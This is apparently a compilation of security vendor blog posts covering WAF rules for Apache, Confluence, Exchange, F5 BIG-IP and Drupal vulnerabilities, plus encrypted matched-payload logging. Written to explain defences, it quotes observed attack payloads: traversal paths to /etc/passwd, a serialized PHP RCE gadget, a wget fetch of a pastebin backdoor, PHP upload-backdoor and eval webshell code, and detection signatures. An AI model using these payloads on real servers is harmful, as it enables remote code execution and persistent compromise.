Once the notifications have been set up, you can rely on Cloudflare to warn you whenever an anomaly is detected. An example email notification is shown below:

The alert provides details on the service detecting the events (in this case the WAF), the timestamp and the affected zone. A link is provided that will direct you to the Firewall Events dashboard filtered on the correct service and time range.

We are looking forward to customers setting up their notifications, so they can stay on top of any malicious activity affecting their applications.

This is just the first step of many towards building a much more comprehensive suite of notifications and incident management systems directly embedded in the Cloudflare dashboard. We look forward to posting feature improvements to our application security alert system in the near future.

Update: This blog post was edited on Monday 11th of October 2021 — added additional WAF rule ID

On September 29, 2021, the Apache Security team was alerted to a path traversal vulnerability being actively exploited (zero-day) against Apache HTTP Server version 2.4.49. The vulnerability, in some instances, can allow an attacker to fully compromise the web server via remote code execution (RCE) or at the very least access sensitive files. CVE number 2021-41773 has been assigned to this issue. Both Linux and Windows based servers are vulnerable.

An initial patch was made available on October 4 with an update to 2.4.50, however, this was found to be insufficient resulting in an additional patch bumping the version number to 2.4.51 on October 7th (CVE-2021-42013).

Customers using Apache HTTP Server versions 2.4.49 and 2.4.50 should immediately update to version 2.4.51 to mitigate the vulnerability. Details on how to update can be found on the official Apache HTTP Server project site.

Any Cloudflare customer with the setting normalize URLs to origin turned on have always been protected against this vulnerability.

Additionally, customers who have access to the Cloudflare Web Application Firewall (WAF), receive additional protection by turning on the rules with the following IDs:

• 1c3d3022129c48e9bb52e953fe8ceb2f and ca955959c4ab4b1f84f681a4d0a5c982 (for our new WAF)

• 100045 and 100045A (for our legacy WAF)

The rules can also be identified by the following descriptions:

Rule message: Anomaly:URL:Query String - Multiple Slashes, Relative Paths, CR, LF or NULL and  Anomaly:URL:Path - Multiple Slashes, Relative Paths, CR, LF or NULL

Given the nature of the vulnerability, attackers would normally try to access sensitive files (for example /etc/passwd), and as such, many other Cloudflare Managed Rule signatures are also effective at stopping exploit attempts depending on the file being accessed.

The vulnerability leverages missing path normalization logic. If the Apache server is not configured with a require all denied directive for files outside the document root, attackers can craft special URLs to read any file on the file system accessible by the Apache process. Additionally, this flaw could also leak the source of interpreted files like CGI scripts and, in some cases, also allow the attacker to take over the web server by executing shell scripts.

For example, the following path:

$hostname/cgi-bin/../../../etc/passwd

would allow the attacker to climb the directory tree (../ indicates parent directory) outside of the web server document root and then subsequently access /etc/passwd.

Well implemented path normalization logic would correctly collapse the path into the shorter $hostname/etc/passwd by normalizing all ../ character sequences nullifying the attempt to climb up the directory tree.

Correct normalization is not easy as it also needs to take into consideration character encoding, such as percent encoded characters used in URLs. For example, the following path is equivalent to the first one provided:

$hostname/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd

as the characters %2e represent the percent encoded version of dot “.”. Not taking this properly into account was the cause of the vulnerability.

The PoC for this vulnerability is straightforward and simply relies on attempting to access sensitive files on vulnerable Apache web servers.

Cloudflare has seen a sharp increase in attempts to exploit and find vulnerable servers since October 5.

Most exploit attempts observed have been probing for static file paths — indicating heavy scanning activity before attackers (or researchers) may have attempted more sophisticated techniques that could lead to remote code execution. The most commonly attempted file paths are reported below:

/cgi-bin/.%2e/.git/config
/cgi-bin/.%2e/app/etc/local.xml
/cgi-bin/.%2e/app/etc/env.php
/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd

Keeping web environments safe is not an easy task. Attackers will normally gain access and try to exploit vulnerabilities even before PoCs become widely available — we reported such a case not too long ago with Atlassian’s Confluence OGNL vulnerability.

It is vital to employ all security measures available. Cloudflare features such as our URL normalization and the WAF, are easy to implement and can buy time to deploy any relevant patches offered by the affected software vendors.

On August 25, 2021, Atlassian released a security advisory for their Confluence Server and Data Center. The advisory highlighted an Object-Graph Navigation Language (OGNL) injection that would result in an unauthenticated attacker being able to execute arbitrary code.

A full proof of concept (PoC) of the attack was made available by a security researcher on August 31, 2021. Cloudflare immediately reviewed the PoC and prepared a mitigation rule via an emergency release. The rule, once tested, was deployed on September 1, 2021, at 15:32 UTC with a default action of BLOCK and the following IDs:

• 100400 (for our legacy WAF)

• e8c550810618437c953cf3a969e0b97a (for our new WAF)

All customers using the Cloudflare WAF to protect their self-hosted Confluence applications have automatically been protected since the new rule was deployed last week. Additionally, the Cloudflare WAF started blocking a high number of potentially malicious requests to Confluence applications even before the rule was deployed.

And customers who had deployed Cloudflare Access in front of their Confluence applications were already protected even before the emergency release. Access checks every request made to a protected hostname for a JSON Web Token (JWT) containing a user’s identity. Any unauthenticated users attempting this exploit would have been blocked before they could reach the Confluence server.

Customers must, however, immediately update their self-hosted Confluence installations to the versions listed in the advisory to ensure full protection.

This vulnerability was assigned the CVE number 2021-26084 and has a base score of 9.8 — critical. A detailed technical write-up of the vulnerability along with the PoC can be found on GitHub.

A timeline of events is provided below:

2021-08-25 at 17:00 UTC

Atlassian security advisory released

2021-08-28

Cloudflare WAF starts seeing and blocking malicious traffic targeting vulnerable endpoints related to the security advisory

2021-08-31 at 22:22 UTC

A PoC becomes widely available

2021-09-01 at 15:32 UTC

Additional Cloudflare WAF rule to target CVE-2021-26084

High profile vulnerabilities tend to be exploited very quickly by attackers once a PoC or a patch becomes available. Cloudflare maintains aggregated and sampled data on WAF blocks¹ that can be used to explore how quickly vulnerable endpoints start receiving malicious traffic, highlighting the importance of deploying patches as quickly as possible.

Cloudflare data suggests that scanning for the vulnerability started up to three days before the first publicly available PoC was published, as high WAF activity was observed on vulnerable endpoints beginning August 28, 2021. This activity may indicate that attackers or researchers had successfully reverse engineered the patch within that time frame.

It also shows that, even without the specific WAF rule that we rolled out for this vulnerability, Cloudflare was blocking attempts to exploit it. Other WAF rules picked up the suspect behavior.

For this vulnerability, two endpoints are highlighted that can be used to explore attack traffic:

• /pages/doenterpagevariables.action

• /pages/createpage-entervariables.action

The following graph shows traffic matching Cloudflare’s WAF security feature from August 21 to September 5, 2021. Specifically:

• In blue: HTTP requests blocked by Cloudflare’s WAF matching the two chosen paths.

• In red: HTTP requests blocked by Cloudflare’s WAF matching the two paths and the specific rule deployed to cover this vulnerability.

By looking at the data, an increase in activity can be seen starting from August 28, 2021 — far beyond normal Internet background noise levels. Additionally, more than 64% of the traffic increase was detected and blocked by the Cloudflare WAF as malicious on the day the PoC was available.

Just before a PoC became widely available, an increasing number of requests were blocked by customer configured IP based rules, followed by our Managed Rulesets and rate limiting. Most custom WAF rules and IP based rules are created by customers either in response to malicious activity in the WAF logs, or as a positive security model to lock down applications that should simply not have public access from the Internet.

We can zoom into the Managed WAF rule matches to explore what caused the WAF to trigger before the specific rule was deployed:

Command injection based attacks were the most common vector attempted before a PoC was made widely available, indicating again that some attackers may have been at least partially aware of the nature of the vulnerability. These attacks are aimed at executing remote code on the target application servers and are often platform specific. Other attack types observed, in order of frequency were:

• Request Port Anomalies: these are HTTP requests to uncommon ports that are normally not exposed for HTTP traffic.

• Fake Bot Signatures: these requests matched many of our rules aimed at detecting user agents spoofing themselves as popular bots such as Google, Yandex, Bing and others.

• OWASP Inbound Anomaly Score Exceeded: these are requests that were flagged by our implementation of the OWASP ModSecurity Core Ruleset. The OWASP ruleset is a score based system that scans requests for patterns of characters that normally identify malicious requests;

• HTTP Request Anomalies: these requests triggered many of our HTTP based validation checks including but not limited to RFC compliance checks.

Patching zero-day attacks as quickly as possible is vital for security. No single approach can be 100% successful at mitigating intrusion attempts. By observing patterns and triggers for this specific CVE, it is clear that a layered approach is most effective for protecting critical infrastructure. Cloudflare data also implies that, at least in part, some attackers or researchers were aware of the nature of the vulnerability at least since August 28, 2021, three days before a PoC was made widely available.

...

¹The WAF block data consists of sampled matches of request fields including path, geography, rule ID, timestamp and other similar metadata.

Earlier today a cybersecurity advisory was published by international security agencies identifying widespread attacks against government and private sector targets worldwide. You can read the full report here, which discusses widespread, distributed, and anonymized brute force access attempts since mid-2019 and still active through early 2021.

Today, we have rolled out WAF mitigations to protect our customers against these types of attacks.

And we are making the exposed credential check feature of Account Takeover Protection available to all paid plans at no additional charge today. We had been planning to release these features later this month to a subset of our customers, but when we were informed of this ongoing attack we accelerated the release timeline and expanded those eligible to use the protections.

The attack which we are now protecting against was carried out in three main steps:

1. Initial account compromise performed via brute force attacks against authentication endpoints;

2. Once access was gained, network traversal was performed leveraging several publicly known vulnerabilities, including but not limited to CVE 2020-0688 and CVE 2020-17144 that widely affected Microsoft Exchange Servers;

3. Deployment of remote shells, such as a variant of the reGeorg web shell, and network reconnaissance to gather additional information;

The findings in the report highlight the increasing problem of password reuse and compromise that affects online applications, including government and large private sector online properties.

In March 2021, during Security Week, we launched a beta program for a new feature called Exposed Credential Checks. This feature allows website administrators to be notified whenever a login attempt is performed using a breached username and password credential pair. This is a very strong signal to enforce two factor authentication, a password reset, or simply increase user logging for the duration of the session.

Starting today, all paid plans (i.e., Pro and above) can enable the exposed credential check feature of Account Takeover Protection. We made the decision to give this to more customers due to the severity of the report and ongoing nature of the exploitation attempts.

While we work to accelerate the automatic deployment of the capability across these plans, you can file a support ticket with “Account Takeover Protections activation request” in the subject line to have it manually enabled today for your domains.

Customers who are not yet running the new WAF announced during Security Week will first be upgraded to this version; all accounts created after May 6, 2021, are already on the new version. The exposed credential managed ruleset can then be turned on with a single click, and supports the following applications out of the box:

• WordPress

• Joomla

• Drupal

• Ghost

• Magento

• Plone

• Microsoft Exchange

When turned on, whenever a compromised credential is detected the following header will be added to the request to the origin server:

Exposed-Credential-Check: 1

This header alone won’t provide additional security, but can be used by the origin server to enforce additional measures, for example forcing a two factor authentication or password reset flow. The feature can also be deployed in logging mode to easily identify brute force attacks targeting your application using the Firewall Analytics dashboard.

If your application is not in the default set of protected applications, as long as your login endpoints conform to one of our generic rules, the feature will work as expected. We currently have two options:

• A JSON endpoint (application/json) that submits credentials with 'email' and 'password' keys, for example {“email”:”user@example.com”, “password”:”pass”}

• A standard login HTML form (application/x-www-form-urlencoded), under a URL that contains “login”. The form fields should be named username and password respectively;

Developer documentation can be found here.

In addition to exposed credential checks, we have implemented improvements to the following WAF rules effective immediately:

• Improved rule 100197

• Added a new rule 100197B (default disabled)

These rules will match against request payloads that contain the reGeorg shell variant mentioned in the report. The rule improvements were based on, but not limited to, the Yara rule found in the security advisory. In summary the rule will block payloads which contain the following signatures and similar variations:

%@ Page Language=C#
StrTr
System.Net.IPEndPoint
Response.AddHeader
Socket

In addition to monitoring and defending against credential stuffing attacks using datasets of compromised credentials, security administrators should implement additional best practices for their authentication endpoints. For example, multi-factor authentication, account time-out and lock-out features, and stronger methods of authentication that require “having” something such as a hard token or client certificate—not just “knowing” something such as a username and password.

Cloudflare has a number of additional features that customers are also advised to deploy where possible on their environments to strengthen their security posture:

• Cloudflare Access can be used to provide strong, multi-factor authentication for both internal and external facing applications, and integrates directly with your organization’s SSO and identity providers (IdP);

• Where possible, implementing Mutual TLS rules (mTLS) in front of authentication endpoints will increase an application security posture considerably by avoiding the use of passwords. This can be done both as a Firewall Rule or as an option when setting up Cloudflare Access;

• We recently announced a Managed IP list that will contain Open Proxy endpoints identified by Cloudflare’s intelligence - this list can be used when creating Firewall Rules to protect authentication endpoints by issuing Captcha (or other) challenges;

• The use of our Bot Management detection has recently been expanded to all self-serve paid plans via our Super Bot Fight Mode product - this product allows customers to set up rules to challenge/block automated traffic, such as bots attempting brute force attacks, while letting verified bots access Internet properties normally.

Brute force attacks are a prevalent and successful means to gain initial access to private networks, especially when applications require only username and password pairs for authentication. The report released today reinforced the widespread use of these credential stuffing attacks to gain access and then pivot to additional sensitive resources and data using other vulnerabilities.

Cloudflare customers are protected against these automated attacks by two new WAF rules, and also through the exposed credential check feature of our Account Takeover Protection offering. We have made the exposed credential check feature available today, to all paid plans, in advance of our planned launch later this month. Reach out to our support team immediately if you would like this feature enabled as we work to turn it on for everyone.

Cloudflare has deployed managed rules protecting customers against a series of remotely exploitable vulnerabilities that were recently found in Microsoft Exchange Server. Web Application Firewall customers with the Cloudflare Specials ruleset enabled are automatically protected against CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065.

If you are running Exchange Server 2013, 2016, or 2019, and do not have the Cloudflare Specials ruleset enabled, we strongly recommend that you do so. You should also follow Microsoft’s urgent recommendation to patch your on-premise systems immediately. These vulnerabilities are actively being exploited in the wild by attackers to exfiltrate email inbox content and move laterally within organizations’ IT systems.

If you are running the Cloudflare WAF and have enabled the Cloudflare Specials ruleset, there is nothing else you need to do. We have taken the unusual step of immediately deploying these rules in “Block” mode given active attempted exploitation.

If you wish to disable the rules for any reason, e.g., you are experiencing a false positive mitigation, you can do so by following these instructions:

1. Login to the Cloudflare Dashboard and click on the Cloudflare Firewall tab and then Managed Rules.

2. Click on the “Advanced” link at the bottom of the Cloudflare Managed Ruleset card and search for rule ID 100179. Select any appropriate action or disable the rule.

3. Repeat step #2 for rule ID 100181.

In addition to blocking attacks at the edge, we recommend that you follow Microsoft’s urgent recommendation to patch your on-premise systems immediately. For those that are unable to immediately patch their systems, Microsoft posted yesterday with interim mitigations that can be applied.

To determine whether your system is (still) exploitable, you can run an Nmap script posted by Microsoft to GitHub: https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse.

The attacks observed in the wild take advantage of multiple CVEs that can result in exfiltration of email inboxes and remote code execution when chained together. Security researchers at Volexity have published a detailed analysis of the zero-day vulnerabilities.

Briefly, attackers are:

1. First exploiting a server-side request forgery (SSRF) vulnerability documented as CVE-2021-26855 to send arbitrary HTTP requests and authenticate as the Microsoft Exchange server.

2. Using this SYSTEM-level authentication to send SOAP payloads that are insecurely deserialized by the Unified Messaging Service, as documented in CVE-2021-26857. An example of the malicious SOAP payload can be found in the Volexity post linked above.

3. Additionally taking advantage of CVE-2021-26858 and CVE-2021-27065 to upload arbitrary files such as webshells that allow further exploitation of the system along with a base to move laterally to other systems and networks. These file writes require authentication but this can be bypassed using CVE-2021-26855.

All 4 of the CVEs listed above are blocked by the recently deployed Cloudflare Specials rules: 100179 and 100181. Additionally, existing rule ID 100173, also enabled to Block by default, partially mitigates the vulnerability by blocking the upload of certain scripts.

Organizations can deploy additional protections against this type of attack by adopting a Zero Trust model and making the Exchange server available only to trusted connections. The CVE guidance recommends deploying a VPN or other solutions to block attempts to reach public endpoints. In addition to the edge mitigations from the Cloudflare WAF, your team can protect your Exchange server by using Cloudflare for Teams to block all unauthorized requests.

The Managed Rules team was recently given the task of allowing Enterprise users to debug Firewall Rules by viewing the part of a request that matched the rule. This makes it easier to determine what specific attacks a rule is stopping or why a request was a false positive, and what possible refinements of a rule could improve it.

The fundamental problem, though, was how to securely store this debugging data as it may contain sensitive data such as personally identifiable information from submissions, cookies, and other parts of the request. We needed to store this data in such a way that only the user who is allowed to access it can do so. Even Cloudflare shouldn't be able to see the data, following our philosophy that any personally identifiable information that passes through our network is a toxic asset.

This means we needed to encrypt the data in such a way that we can allow the user to decrypt it, but not Cloudflare. This means public key encryption.

Now we needed to decide on which encryption algorithm to use. We came up with some questions to help us evaluate which one to use:

• What requirements do we have for the algorithm?

• What language do we implement it in?

• How do we make this as secure as possible for users?

Here's how we made those decisions.

While we knew we needed to use public key encryption, we also needed to keep an eye on performance. This led us to select Hybrid Public Key Encryption (HPKE) early on as it has a best-of-both-worlds approach to using symmetric as well as public-key cryptography to increase performance. While these best-of-both-worlds schemes aren’t new [1][2][3], HPKE aims to provide a single, future-proof, robust, interoperable combination of a general key encapsulation mechanism and a symmetric encryption algorithm.

HPKE is an emerging standard developed by the Crypto Forum Research Group (CFRG), the research body that supports the development of Internet standards at the IETF. The CFRG produces specifications called RFCs (such as RFC 7748 for elliptic curves) that are then used in higher level protocols including two we talked about previously: ODoH and ECH. Cloudflare has long been a supporter of Internet standards, so HPKE was a natural choice to use for this feature. Additionally, HPKE was co-authored by one of our colleagues at Cloudflare.

HPKE combines an asymmetric algorithm such as elliptic curve Diffie-Hellman and a symmetric cipher such as AES. One of the upsides of HPKE is that the algorithms aren't dictated to the implementer, but making a combination that’s provably secure and meets the developer’s intuitive notions of security is important. All too often developers reach for a scheme without carefully understanding what it does, resulting in security vulnerabilities.

HPKE solves these problems by providing a high level of security in a generic manner and providing necessary hooks to tie messages to the context in which they are generated. This is the application of decades of research into the correct security notions and schemes.

HPKE is built in stages. First it turns a Diffie-Hellman key agreement into a Key Encapsulation Mechanism. A key encapsulation mechanism has two algorithms: Encap and Decap. The Encap algorithm creates a symmetric secret and wraps it in a public key, so that only the holder of the private key can unwrap it. An attacker with the encapsulation cannot recover the random key. Decap takes the encapsulation and the private key associated to the public key, and computes the same random key. This translation gives HPKE the flexibility to work almost unchanged with any kind of public key encryption or key agreement algorithm.

HPKE mixes this key with an optional info argument, as well as information relating to the cryptographic parameters used by each side. This ensures that attackers cannot modify messages’ meaning by taking them out of context. A postcard marked “So happy to see you again soon” is ominous from the dentist and endearing from one’s grandmother.

The specification for HPKE is open and available on the IETF website. It is on its way to becoming an RFC after passing multiple rounds of review and analysis by cryptography experts at the CFRG. HPKE is already gaining adoption in IETF protocols like ODoH, ECH, and the new Messaging Layer Security (MLS) protocol. HPKE is also designed with the post-quantum future since it is built to work with any KEM, including all the NIST finalists for post-quantum public-key encryption.

Once we had an encryption scheme selected, we needed to settle on an implementation. HPKE is still fairly new, so the libraries aren't quite mature yet. There is a reference implementation, and we’re in the process of developing an implementation in Go as part of CIRCL. However, in the absence of a clear "go to" that is widely known to be the best, we decided to go with an implementation leveraging the same language already powering much of the Firewall code running at the Cloudflare edge - Rust.

Aside from this, the language benefits from features like native primitives, and crucially the ability to easily compile to WebAssembly (WASM).

As we mentioned in a previous blog post, customers are able to generate a key pair and decrypt payloads either from the dashboard UI or from a CLI. Instead of writing and maintaining two different codebases for these, we opted to reuse the same implementation across the edge component that encrypts the payloads and the UI and CLI that decrypt them. To achieve this we compile our library to target WASM so it can be used in the dashboard UI code that runs in the browser. While this approach may yield a slightly larger JavaScript bundle size and relatively small computational overhead, we found it preferable to spending a significant amount of time securely re-implementing HPKE using JavaScript WebCrypto primitives.

The HPKE implementation we decided on comes with the caveat of not yet being formally audited, so we performed our own internal security review. We analyzed the cryptography primitives being used and the corresponding libraries. Between the composition of said primitives and secure programming practices like correctly zeroing memory and safe usage of random number generators, we found no security issues.

To encrypt on behalf of users, we need them to provide us with a public key. To make this as easy as possible, we built a CLI tool along with the ability to do it right in the browser. Either option allows the user to generate a public/private key pair without needing to talk to Cloudflare servers at all.

In our API, we specifically do not accept the private key of the key pair — we don't want it! We don't need and don't want to be able to decrypt the data we're storing.

For the dashboard, once the user provides the private key for decryption, the key is held in a temporary JavaScript variable and used for the in-browser decryption. This allows the user to not constantly have to provide the key while browsing the Firewall event logs. The private key is also not persisted in any way in the browser, so any action that refreshes the page such as refreshing or navigating away will require the user to provide the key again. We believe this is an acceptable usability compromise for better security.

After deciding how to encrypt the data, we just had to figure out the rest of the feature: what data to encrypt, how to store and transmit it, and how to allow users to decrypt it.

When an HTTP request reaches the L7 Firewall, it is evaluated against a set of rulesets. Each of these rulesets contain several rules written in the wirefilter syntax.

An example of one such rule would be:

http.request.version eq "HTTP/1.1"
and
(
    http.request.uri.path matches "\n+."
    or
    http.request.uri.query matches "\x00+."
)

This expression evaluates to a boolean “true” for HTTP/1.1 requests that either contain one or more newlines followed by a character in the request path or one or more NULL bytes followed by a character in the query string.

Say we had the following request that would match the rule above:

GET /cms/%0Aadmin?action=%00post HTTP/1.1
Host: example.com

If matched data logging is enabled, the rules that match would be executed again in a special context that tags all fields that are accessed during execution. We do this second execution because this tagging adds a noticeable computational overhead, and since the vast majority of requests don't trigger a rule at all we would be unnecessarily adding overhead to each request. Requests that do match any rules will only match a few rules as well, so we don't need to re-execute a large portion of the ruleset.

You may notice that although http.request.uri.query matches "\x00+." evaluates to true for this request, it won’t be executed, because the expression short-circuits with the first or condition that also matches. This results in only http.request.version and http.request.uri.path being tagged as accessed:

http.request.version -> HTTP/1.1
http.request.uri.path -> /cms/%0Aadmin

Having gathered the fields that were accessed, the Firewall engine does some post-processing; removing fields that are a subset of others (e.g., the query string and the full URI), or truncating fields that are beyond a certain character length.

Finally, these get serialized as JSON, encrypted with the customer's public key, serialized again as a set of bytes, and prefixed with a version number should we need to change/update it in the future. To simplify consumption of these blobs, our APIs display a base64 encoded version of the bytes:

Now that we have encrypted the data at the edge and persisted it in ClickHouse, we need to allow users to decrypt it. As part of the setup of turning this feature on, users generated a key-pair: the public key which was used to encrypt the payloads and a private key which is used to decrypt them. Decryption is done completely offline via either the command line using cloudflare/matched-data-cli:

$ MATCHED_DATA=AkjQDktMX4FudxeQhwa0UPNezhkgLAUbkglNQ8XVCHYqPgAAAAAAAACox6cEwqWQpFVE2gCFyOFsSdm2hCoE0/oWKXZJGa5UPd5mWSRxNctuXNtU32hcYNR/azLjsGO668Jwk+qCdFvmKjEqEMJgI+fvhwLQmm4=
$ matched-data-cli decrypt -d $MATCHED_DATA -k $PRIVATE_KEY
{"http.request.version": "HTTP/1.1", "http.request.uri.path": "/cms/%0Aadmin"}

Or the dashboard UI:

Since our CLI tool is open-source and HPKE is interoperable, it can also be used in other tooling as part of a user's logging pipeline, for example in security information and event management (SIEM) software.

This was a team effort with help from our Research and Security teams throughout the process. We relied on them for recommendations on how best to evaluate the algorithms as well as vetting the libraries we wanted to use.

We're very pleased with how HPKE has worked out for us from an ease-of-implementation and performance standpoint. It was also an easy choice for us to make due to its impending standardization and best-of-both-worlds approach to security.

The Cloudflare Web Application Firewall (WAF) blocks more than 72B malicious requests per day from reaching our customers’ applications. Typically, our users can easily confirm these requests were not legitimate by checking the URL, the query parameters, or other metadata that Cloudflare provides as part of the security event log in the dashboard.

Sometimes investigating a WAF event requires a bit more research and a trial and error approach, as the WAF may have matched against a field that is not logged by default.

Not logging all parts of a request is intentional: HTTP headers and payloads often contain sensitive data, including personally identifiable information, which we consider a toxic asset. Request headers may contain cookies and POST payloads may contain username and password pairs submitted during a login attempt among other sensitive data.

We recognize that providing clear visibility in any security event is a core feature of a firewall, as this allows users to better fine tune their rules. To accomplish this, while ensuring end-user privacy, we built encrypted WAF matched payload logging. This feature will log only the specific component of the request the WAF has deemed malicious — and it is encrypted using a customer-provided key to ensure that no Cloudflare employee can examine the data*. Additionally, the crypto uses an exciting new standard — developed in part by Cloudflare — called Hybrid Public Key Encryption (HPKE).

*All Cloudflare logs are encrypted at rest. This feature implements a second layer of encryption for the specific matched fields so that only the customer can decrypt it.

To turn on this feature, you need to provide a public key, or generate a private-public key pair directly from the dashboard. Your data will then be encrypted using Hybrid Public Key Encryption (HPKE), which offers a great combination of both performance and security.

To simplify this process, we have built an easy-to-use command line utility to generate the key pair:

$ matched-data-cli generate-key-pair
{
  "private_key": "uBS5eBttHrqkdY41kbZPdvYnNz8Vj0TvKIUpjB1y/GA=",
  "public_key": "Ycig/Zr/pZmklmFUN99nr+taURlYItL91g+NcHGYpB8="
}

Cloudflare does not store the private key and it is our customers’ responsibility to ensure it is stored safely. Lost keys, and the data encrypted with them, cannot be recovered but customers can rotate keys to be used with future payloads.

Once encrypted, payloads will be available in the logs as encrypted base64 blobs within the metadata field:

"metadata": [
  {
    "key": "encrypted_matched_data",
    "Value": "AdfVn7odpamJGeFAGj0iW2oTtoXOjVnTFT2x4l+cHKJsEQAAAAAAAAB+zDygjV2aUI92FV4cHMkp+4u37JHnH4fUkRqasPYaCgk="
  }
]

Decrypting payloads can be done via the dashboard from the Security Events log, or by using the command line utility, as shown below. If done via the dashboard, the browser will decrypt the payload locally (i.e., client side) and will not send the private key to Cloudflare.

$ printf $PRIVATE_KEY | ./matched-data-cli decrypt -d AdfVn7odpamJGeFAGj0iW2oTtoXOjVnTFT2x4l+cHKJsEQAAAAAAAAB+zDygjV2aUI92FV4cHMkp+4u37JHnH4fUkRqasPYaCgk= --private-key-stdin

The command above returns:

{"REQUEST_HEADERS:REFERER":"https:\/\/example.com\/testkey.txt?a=<script>alert('xss');<\/script>"}

In the example above, the WAF matched against the REQUEST_HEADERS:REFERER field. Any other fields the WAF matched on would be similarly logged.

In the coming months, this feature will be available on our dashboard to our Enterprise customers. Enterprise customers who would like this feature enabled sooner should reach out to their account team. Only application owners who also have access to the Cloudflare dashboard as Super Administrators will be able to configure encrypted matched payload logging. Those who do not have access to the private key, including Cloudflare staff, are not able to decrypt the logs.

We are also excited for this feature to be one of our first to use Hybrid Public Key Encryption, and for Cloudflare to use this emerging standard developed by the Crypto Forum Research Group (CFRG), the research body that supports the development of Internet standards at the IETF. And stay tuned, we will publish a deep dive post with the technical details soon!

Initial testing on our network has shown that attackers started probing and trying to exploit this vulnerability starting on July 3.

F5 has published detailed instructions on how to patch affected devices, how to detect if attempts have been made to exploit the vulnerability on a device and instructions on how to add a custom mitigation. If you have an F5 device, read their detailed mitigations before reading the rest of this blog post.

The most popular probe URL appears to be /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp followed by /tmui/login.jsp/..;/tmui/util/getTabSet.jsp, /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp and /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp. All contain the critical pattern ..; which is at the heart of the vulnerability.

On July 3 we saw O(1k) probes ramping to O(1m) yesterday. This is because simple test patterns have been added to scanning tools and small test programs made available by security researchers.

The vulnerability was disclosed by the vendor on July 1 and allows both authenticated and unauthenticated users to perform remote code execution (RCE).

Remote Code Execution is a type of code injection which provides the attacker the ability to run any arbitrary code on the target application, allowing them, in most scenarios such as this one, to gain privileged access and perform a full system take over.

The vulnerability affects the administration interface only (the management dashboard), not the underlying data plane provided by the application.

If updating the application is not possible, the attack can be mitigated by blocking all requests that match the following regular expression in the URL:

.*\.\.;.*

The above regular expression matches two dot characters (.) followed by a semicolon within any sequence of characters.

Customers who are using the Cloudflare WAF, that have their F5 BIG-IP TMUI interface proxied behind Cloudflare, are already automatically protected from this vulnerability with rule 100315. If you wish to turn off the rule or change the default action:

1. Head over to the Cloudflare Firewall, then click on Managed Rules and head over to the advanced link under the Cloudflare Managed Rule set,

2. Search for rule ID: 100315,

3. Select any appropriate action or disable the rule.

As soon as Drupal released their patch, we analysed it to establish what kind of payloads could be used against it and created rules to mitigate these. By analysing the patch we were able to put together WAF rules to protect cloudflare customers running Drupal.

We identified the type of vulnerability we were dealing within 15 minutes. From here, we were able to deploy rules to block the exploit well before any real attacks were seen.

As Drupal's release announcement explains, a site is affected if:

• It has the Drupal 8 RESTful API enabled                                      

• Or it uses one of the 8 modules found to be affected

From looking at the patch we very quickly realised the exploit would be based on deserialization. The option ['allowed_classes' => FALSE] was added as part of the patch to the link and map field types. This indicates that while these items are supposed to receive some serialized PHP, there was no legitimate case for supplying a serialized PHP object.

This is important because the easiest way to exploit a deserialization vulnerability in PHP is to supply a serialized Object that is crafted to execute code when deserialized.

Making the situation worse was the fact that the deserialization was performed regardless of any authentication.

We also realised that this meant blindly blocking all serialized PHP would break their intended functionality, as clearly these fields are supposed to receive specific kinds of serialized PHP, for example arrays or strings. Although as the PHP documentation notes, it’s always a risky thing to deserialize untrusted data, even when restricting the set of data that’s excepted.

This blog post from Ambionics does a good job at explaining what a concrete exploitation of the vulnerability looks like, when applied to the Drupal 8 RESTful API.

After the vulnerability was announced, we created several rules to experiment with different ways to build a signature to catch exploit attempts. Within an hour of the Drupal announcement we had deployed these in simulate mode, which logs potentially malicious requests without blocking them. After monitoring for false positives they were then improved them a few times as we tuned them.

This culminated in the deploy of rule D0020, which has blocked a number of attackers as shown in the graph below. The rule was already deployed in ‘drop’ mode by the time our first attack was observed at around 7pm UTC on Friday the 22nd of February 2019, and to date it has matched zero false positives. This is less than 48 hours from the announcement from Drupal.

Figure 1: Hits on rule D0020, with the first attack seen on the 22th February 2019.

These first attacks leveraged the “guzzle/rce1” gadget from phpggc to invoke the linux command “id” via PHP’s “system” function, exactly as ambionics did.

'O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"GuzzleHttp\HandlerStackhandler";s:2:"id";s:30:"GuzzleHttp\HandlerStackstack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"GuzzleHttp\HandlerStackcached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}''

After this we saw several more attempts to use this gadget for executing various payloads, mostly to test whether targeted servers were vulnerable. Things like ‘phpinfo’, echoing strings and performing calculations.

The first malicious payload we saw used the same gadget, but this time to save a malicious payload from pastebin onto the user’s server.

wget -O 1x.php https://pastebin.com/raw/npLq4493

This script would have placed a backdoor on the target system by allowing them to upload files to the server via an HTML form. This would have given the attacker continued access to the system even if it was subsequently patched.

<?  echo "'XXXXXXXXXXXX";
$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center></td></tr> </table><br>';
if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');
		</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>

Another malicious payload seen was much more minimal:

echo '<?php @eval($_POST['pass']) ?>' > vuln1.php

This payload creates a small PHP file on the server, which contains the dangerous eval() function. If this hadn’t been blocked, it would have allowed the attacker to issue commands via a single HTTP request to the vuln1.php file that could execute arbitrary commands directly on the potentially vulnerable system.

The pattern we saw here is fairly typical of a newly announced vulnerability. Once a vulnerability is published, it doesn’t take long to see real attackers making use of the vulnerability - initially in small numbers with “test” payloads to identify whether the attacks work, but shortly afterwards in much higher numbers, and with more dangerous and subtle payloads. This vulnerability was weaponized within two days of disclosure, but that is by no means the shortest time frame we’ve seen.

